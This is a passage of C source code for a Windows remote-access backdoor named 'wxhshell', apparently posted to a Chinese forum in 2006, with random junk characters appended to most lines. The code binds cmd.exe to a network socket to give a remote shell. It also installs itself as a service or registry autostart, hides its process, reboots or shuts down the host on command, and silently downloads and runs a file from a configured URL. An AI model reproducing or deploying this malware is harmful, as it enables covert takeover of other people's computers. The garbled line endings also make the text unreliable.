  else 2xy{g&G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r;waT@&C  
  } ;;^?vS  
  else { 6h[fk.W_  
:Ef$[_S>  
    switch(cmd[0]) { >"]t4]GVf  
  cE,,9M@^  
  // 帮助 |BbrB[+ v[  
  case '?': { h!Fh@%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rh@UxNy\,  
    break; 8"wavh|g4  
  } ll"6K I'X  
  // 安装 KAy uv  
  case 'i': { /T&+vzCF  
    if(Install()) YpSK |(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a\ MJh+K  
    else Hs.5@l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q"g4fzCD  
    break; .'1]2/ad  
    } O~Dm|hP  
  // 卸载 (iO/@iw  
  case 'r': { n5#9o},oK  
    if(Uninstall()) S U P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u69G #  
    else DT]3q4__Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Io7 =Mc4  
    break; `Go oSX  
    } h&Q-QU  
  // 显示 wxhshell 所在路径 G>2: WQ/  
  case 'p': { 'Hq#9?<2M  
    char svExeFile[MAX_PATH]; tF!C']  
    strcpy(svExeFile,"\n\r"); }"^d<dvuz  
      strcat(svExeFile,ExeFile); ~X) 1!Sr  
        send(wsh,svExeFile,strlen(svExeFile),0); K;g6V!U  
    break; b:*( f#"q  
    } "? 5@j/ e`  
  // 重启 -A"0mS8L  
  case 'b': { g3'yqIjQL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >ufN[ab  
    if(Boot(REBOOT)) 4Z{ r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N?s5h?  
    else { +227SPLd  
    closesocket(wsh); N?%FVF  
    ExitThread(0); _~b]/]|z#N  
    } N!af1zj  
    break; *ur[u*g  
    } &K,rNH'R  
  // 关机 $olITe"$g  
  case 'd': { /5 R?(-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ozG!OiRW  
    if(Boot(SHUTDOWN)) 3)~z~p7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j2!^iGS}  
    else { EDGAaN*Q  
    closesocket(wsh); S6|L !pO  
    ExitThread(0); 0p \,}t\E  
    } ca!x{,Cvnj  
    break; mr#XN&e  
    } fK9wr@1  
  // 获取shell \]p[DYBY#  
  case 's': { (L8z<id<z  
    CmdShell(wsh); JKYkS*.a}  
    closesocket(wsh); T#G (&0J5  
    ExitThread(0); Eh?,-!SUQn  
    break; 2/G`ej!*  
  } 92D f.xI}  
  // 退出 Z<Ke /Xi  
  case 'x': { 8G p%Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MF~Tr0tOC  
    CloseIt(wsh); ]bb`6 \h  
    break; Ft$tL;  
    } ;Quk%6;[N  
  // 离开 y@Ga9bI7  
  case 'q': { YumHECej  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tcS7 @^'  
    closesocket(wsh); x[H9<&)D  
    WSACleanup(); [n;GP@A ]R  
    exit(1); |R$/oq  
    break; p7Q %)5o  
        } d+:pZ  
  } n42XqR  
  } "G @(AE(  
x3?:"D2  
  // 提示信息 d<^o@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qx3`5)ef  
} B<uUf)t  
  } H$n{|YO `  
C@[f Z  
  return; WscNjWQ^TD  
} 75t5:>"[  
9zK5Y+!  
// shell模块句柄 ^ s@'nKc  
int CmdShell(SOCKET sock) :raYt5n1,y  
{ /MQI5Djg  
STARTUPINFO si; LZG ~1tf  
ZeroMemory(&si,sizeof(si)); #}{1>g{sXt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DU%j;`3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6H_7M(f  
PROCESS_INFORMATION ProcessInfo; 8'X:}O/  
char cmdline[]="cmd"; [>tyx{T Ye  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D%k]D/  
  return 0; Z39I*-6F9W  
} ]@MBE1M  
C 9:5c@G  
// 自身启动模式 e^ygQ<6%  
int StartFromService(void) s9-aPcA  
{ 4TW>BA  
typedef struct AmmUoS\  
{ 2m/=0sb\{  
  DWORD ExitStatus; 'v*Y7zZ#K  
  DWORD PebBaseAddress; >B9|;,a  
  DWORD AffinityMask; hhVyz{u  
  DWORD BasePriority; ^Q$U.sN? R  
  ULONG UniqueProcessId; MHVHEwr.{  
  ULONG InheritedFromUniqueProcessId; e+5]l>3)f  
}   PROCESS_BASIC_INFORMATION; K6Gri>Um  
" )87GQ(R  
PROCNTQSIP NtQueryInformationProcess; \f7A j>  
zT5@wm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p;VHg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |P"p/iY  
^"!j m  
  HANDLE             hProcess; i; 3^vhbQ  
  PROCESS_BASIC_INFORMATION pbi; ~~_!&  
c_xo6+:l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kM,$0 @  
  if(NULL == hInst ) return 0; Iq-+X3i  
,\BGxGNAmV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aT %A<'O!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )./%/ _*K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _lE0_X|d  
$0MP*TFWa  
  if (!NtQueryInformationProcess) return 0; aBO%qmtt  
MWS=$N)v*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KF"&9nB  
  if(!hProcess) return 0; >6(91J  
P7Ws$7x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fQ^45ulz  
|oSx*Gh  
  CloseHandle(hProcess); :u7y k@  
6^ ]Y])  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9cu0$P`}5  
if(hProcess==NULL) return 0; [CU]fU{$  
P2S$Dk_<\X  
HMODULE hMod; rN'')n/F  
char procName[255]; CmNd0S4v  
unsigned long cbNeeded;  ?vgHu  
:Z@!*F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S;vE %  
Z[DiLXHL  
  CloseHandle(hProcess); { L(Q|bB  
Q_bF^4gt  
if(strstr(procName,"services")) return 1; // 以服务启动 Dwq}O  
e)[>E\u_  
  return 0; // 注册表启动 j zaC  
} V(%L}0[]  
<MlRy%3Z  
// 主模块 +K3SAGm  
int StartWxhshell(LPSTR lpCmdLine) j7vp@l6`L  
{ Kzw )Q  
  SOCKET wsl; .cTK\  
BOOL val=TRUE; abq$OI  
  int port=0; 5y. n  
  struct sockaddr_in door; I$o^F/RH  
Cc?BJ  
  if(wscfg.ws_autoins) Install(); )19As8rL/o  
LV'@JFT-  
port=atoi(lpCmdLine); 9Se7 1  
^ $M@yWX6  
if(port<=0) port=wscfg.ws_port; HeagT(rN'  
K; 7o+Xr  
  WSADATA data; (LW4z8e#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0ivlKe%  
^<8 c`k )e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qsjTo@A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m]yt6b4  
  door.sin_family = AF_INET; Y~qv 0O6K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NzmVQ-4  
  door.sin_port = htons(port); Fg3VD(D^U  
+UxhSFU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l:O6`2Z  
closesocket(wsl); gHLBtl/  
return 1; vV.TK_ y  
}  q$$:<*Uy  
1sL#XB$@N  
  if(listen(wsl,2) == INVALID_SOCKET) { D:9/;9V  
closesocket(wsl); `.f {V  
return 1; gWo`i  
} x~Eg ax  
  Wxhshell(wsl); m@hmu}qz-  
  WSACleanup(); WKf->W  
K|-?1)Um  
return 0; pSQ)DqW  
y9?~^pTx  
} uaMf3HeYV  
B5>1T[T'-  
// 以NT服务方式启动 >^#OtFHuT)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TO.71x|  
{ H+:SL $+<o  
DWORD   status = 0; pu(a&0  
  DWORD   specificError = 0xfffffff; 03ol!|X "9  
as1ZLfN.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8Z TN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (3YI>/#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )jt?X}  
  serviceStatus.dwWin32ExitCode     = 0; JIHIKH-#  
  serviceStatus.dwServiceSpecificExitCode = 0; Qpj[]c5  
  serviceStatus.dwCheckPoint       = 0; d0&  
  serviceStatus.dwWaitHint       = 0; 2$`Y 4b3t  
z-:>[Sn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dV16'  
  if (hServiceStatusHandle==0) return; uu"hu||0_  
GV28&!4sS  
status = GetLastError(); ledr[)  
  if (status!=NO_ERROR) VE1j2=3+o  
{ F2ISg'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -WR<tkK  
    serviceStatus.dwCheckPoint       = 0; <G`1(,g  
    serviceStatus.dwWaitHint       = 0; ^HtB!Xc  
    serviceStatus.dwWin32ExitCode     = status; W-Vc6cq  
    serviceStatus.dwServiceSpecificExitCode = specificError; )[r=(6?n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y$_]}<b  
    return; 0IP0z il  
  } /L5:/Z  
i[ws%GfEv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [N}QCy  
  serviceStatus.dwCheckPoint       = 0; D*?LcxX  
  serviceStatus.dwWaitHint       = 0; 8G9( )UF.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l4(FM}0X5}  
} 4HX;9HPHE<  
412E7   
// 处理NT服务事件,比如:启动、停止 <[K)PI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @A(jo32  
{ bR~5 :A^  
switch(fdwControl) r .6?|  
{ mZmEE2h  
case SERVICE_CONTROL_STOP: yF%e)6  
  serviceStatus.dwWin32ExitCode = 0; ir>+p>s.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7^mQfQv  
  serviceStatus.dwCheckPoint   = 0; *K@O3n   
  serviceStatus.dwWaitHint     = 0; dK,=9DQy5  
  { W}}ZP];  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R rYNtc  
  } qPWf=s7!  
  return; Fp [49  
case SERVICE_CONTROL_PAUSE: ,dw\y/dn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8G|?R#&  
  break; wL^x9O|`p9  
case SERVICE_CONTROL_CONTINUE: m}zXy\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UQ7La 7"  
  break; lN{>.q@V`r  
case SERVICE_CONTROL_INTERROGATE: 8Q{9AoQ3'  
  break; ^Jdg%U?  
}; B,%KvL&xMX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T4gfQ6#  
} Gm=&[?}  
a2i:fz=[  
// 标准应用程序主函数 jVN=_Y}\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yl?s^]SFU  
{ pS7y3(_  
"wKJ8  
// 获取操作系统版本 0Q8iX)  
OsIsNt=GetOsVer(); 99,=dzm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fQg^^ZXe"  
oWi#?'  
  // 从命令行安装 .*>C[^  
  if(strpbrk(lpCmdLine,"iI")) Install(); (b&Z\?"  
)FIFf;r  
  // 下载执行文件 Gv }  
if(wscfg.ws_downexe) { @Gw]cm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {_$['D^az  
  WinExec(wscfg.ws_filenam,SW_HIDE); $#W^JWN1  
} ui|6ih$+  
5nceOG8  
if(!OsIsNt) { YN:Sn\`D 8  
// 如果时win9x,隐藏进程并且设置为注册表启动 0]]OE+9<c  
HideProc(); eWD!/yr|  
StartWxhshell(lpCmdLine); a\Gd;C ^`  
} ZC<EPUV(  
else }j2t8B^&:  
  if(StartFromService()) V$Oj@vI  
  // 以服务方式启动 lb=fS%  
  StartServiceCtrlDispatcher(DispatchTable); M\7F1\ X  
else Nt?=0X|M  
  // 普通方式启动 @ptrF pSL  
  StartWxhshell(lpCmdLine); .Zs.O/  
REi"Aj=  
return 0; |o(te  
}
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只看该作者 1 发表于: 2006-10-10
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